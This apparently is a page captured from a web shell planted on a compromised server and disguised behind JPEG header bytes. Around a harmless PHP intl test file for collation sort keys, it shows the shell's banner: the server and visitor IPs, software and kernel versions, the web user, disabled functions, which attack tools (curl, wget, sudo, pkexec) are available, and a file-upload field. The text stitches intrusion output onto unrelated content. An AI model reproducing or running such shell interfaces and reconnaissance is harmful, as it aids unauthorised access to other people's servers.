????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 18.225.92.18 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/self/root/home/b8009/php-5.6.22/ext/intl/tests/ |
Upload File : |
--TEST-- collator_get_sort_key() --SKIPIF-- <?php if( !extension_loaded( 'intl' ) ) print 'skip'; ?> <?php if(version_compare(INTL_ICU_VERSION, '4.8') < 0) print 'skip ICU >= 4.8 only'; ?> <?php /* XXX Obviously it fails somewhere between >= 4.8 and < 51.2 */ if (version_compare(INTL_ICU_VERSION, '51.2') >= 0) die('skip for ICU < 51.2'); ?> --FILE-- <?php /* * Get sort keys using various locales */ function sort_arrays( $locale, $data ) { $res_str = ''; $coll = ut_coll_create( $locale ); foreach($data as $value) { $res_val = ut_coll_get_sort_key( $coll, $value ); $res_str .= "source: ".$value."\n". "key: ".bin2hex($res_val)."\n"; } return $res_str; } function ut_main() { $res_str = ''; // Regular strings keys $test_params = array( 'abc', 'abd', 'aaa', 'аа', 'а', 'z', '', null , '3', 'y' , 'i' , 'k' ); $res_str .= sort_arrays( 'en_US', $test_params ); // Sort a non-ASCII array using ru_RU locale. $test_params = array( 'абг', 'абв', 'жжж', 'эюя' ); $res_str .= sort_arrays( 'ru_RU', $test_params ); // Sort an array using Lithuanian locale. $res_str .= sort_arrays( 'lt_LT', $test_params ); return $res_str . "\n"; } include_once( 'ut_common.inc' ); ut_run(); ?> --EXPECT-- source: abc key: 27292b01070107 source: abd key: 27292d01070107 source: aaa key: 27272701070107 source: аа key: 5c0a0a01060106 source: а key: 5c0a01050105 source: z key: 5901050105 source: key: 0101 source: key: 0101 source: 3 key: 1801050105 source: y key: 5701050105 source: i key: 3701050105 source: k key: 3b01050105 source: абг key: 5c0a161a01070107 source: абв key: 5c0a161801070107 source: жжж key: 5c3a3a3a01070107 source: эюя key: 5d3b3f4501070107 source: абг key: 5c0a161a01070107 source: абв key: 5c0a161801070107 source: жжж key: 5c3a3a3a01070107 source: эюя key: 5d3b3f4501070107